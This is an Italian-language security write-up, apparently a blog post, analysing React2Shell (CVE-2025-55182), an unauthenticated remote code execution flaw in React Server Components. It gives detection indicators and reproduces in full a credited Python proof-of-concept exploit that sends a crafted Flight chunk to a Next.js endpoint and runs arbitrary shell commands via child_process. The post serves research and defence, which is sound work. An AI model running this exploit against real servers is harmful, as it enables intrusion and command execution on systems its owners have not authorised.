
React2Shell, CVE-2025-55182, vulnerabilità RCE: un'analisi critica del difetto di deserializzazione non sicura nei React Server Components che permette l'esecuzione di codice remoto non autenticata su configurazioni predefinite di React/Next.js.
React2Shell (CVE-2025-55182) è una vulnerabilità critica di Esecuzione di Codice Remoto (RCE) che colpisce i React Server Components (RSC) in React 19.x e framework come Next.js. Il difetto risiede nella deserializzazione non sicura dei chunk del protocollo “Flight”, permettendo agli attaccanti di iniettare strutture dannose che risolvono nel costruttore Function, portando all'esecuzione arbitraria di JavaScript sul server.
I React Server Components sono stati introdotti per unire il rendering client/server con un flusso di lavoro più fluido e componibile. Per farlo, React utilizza un canale di serializzazione binario personalizzato chiamato protocollo Flight.
Sfortunatamente, la logica di deserializzazione di questo protocollo conteneva un sottile difetto che permetteva agli attaccanti di introdurre payload dannosi in profondità nel runtime di React.
Il risultato? Una catena completa e non autenticata di esecuzione di codice remoto, ora soprannominata React2Shell — e sì, il suo impatto è paragonabile a Log4Shell per portata e accessibilità. 🔥
Questo articolo analizza la vulnerabilità in un formato pulito e utilizzabile — ideale per professionisti VAPT, ricercatori e difensori.
I RSC comunicano con il client inviando "chunk" serializzati che rappresentano riferimenti, oggetti, metadati dei componenti, confini asincroni, ecc. Quando questi chunk arrivano sul server o sul client, React li deserializza trasformandoli in oggetti e funzioni. Questo processo presuppone che la struttura dei dati sia sicura. È qui che le cose si sono rotte.
Gli attaccanti hanno trovato un modo per creare chunk dannosi contenenti:
thenables)Esempio di pattern:
"$then": { "constructor": { "prototype": null } }
Durante la deserializzazione, React interpreta questo oggetto come un thenable e chiama:
promise.then(...)
Ma qui, then è in realtà il costruttore Function, quindi la chiamata diventa:
(new Function("malicious_payload"))();
Ciò risulta in esecuzione arbitraria di JavaScript nell'ambiente Node.js che esegue i React Server Components.
Boom — hai ottenuto RCE.
Questo è il motivo per cui i vendor cloud, i team di sicurezza e i CERT hanno reagito immediatamente una volta reso pubblico.
/react/rsc/server, /flight, /server-actions$then$proto$constructor$typeEsecuzioni sospette di Node.js come:
node -e "<payload>"
File imprevisti in:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ Nota importante
Non possiedo questo PoC.
È referenziato dal seguente repository pubblico, con pieno credito all'autore:
Il seguente Proof-of-Concept (PoC) è fornito esclusivamente per scopi educativi e di ricerca difensiva sulla cybersecurity.
Deve essere eseguito solo in ambienti di laboratorio isolati o su sistemi per cui si ha esplicita autorizzazione a testare.
L'uso improprio di questo codice per accessi non autorizzati, sfruttamento o compromissione del sistema è illegale, non etico e punibile dalle leggi sulla cybersecurity.
Procedi in modo responsabile. 🛡️💻
Di seguito il PoC completo:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Se hai eseguito questo PoC, assicurati di averlo fatto in una sandbox controllata e non su asset di produzione o di terze parti.
Questa dimostrazione esiste esclusivamente per aiutare analisti, sviluppatori e difensori a comprendere, rilevare e mitigare CVE-2025-55182 (React2Shell).
Qualsiasi uso malintenzionato o non autorizzato di queste informazioni è severamente vietato e non è approvato dall'autore.
Rimani etico. Rimani al sicuro. 🐉🔥
React2Shell è un potente promemoria che i layer di serializzazione, per quanto eleganti, rimangono uno dei componenti più pericolosi nei framework moderni. Nel momento in cui oggetti arbitrari toccano il runtime senza validazione, la catena verso RCE diventa dolorosamente corta.
Grazie per la lettura — e come sempre, continua a hackerare eticamente, impara costantemente e tieni vivo quel fuoco della sicurezza. 🔥🐉
Se ti è piaciuto questo write-up o vuoi rimanere in contatto con la mia ricerca sulla cybersecurity:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010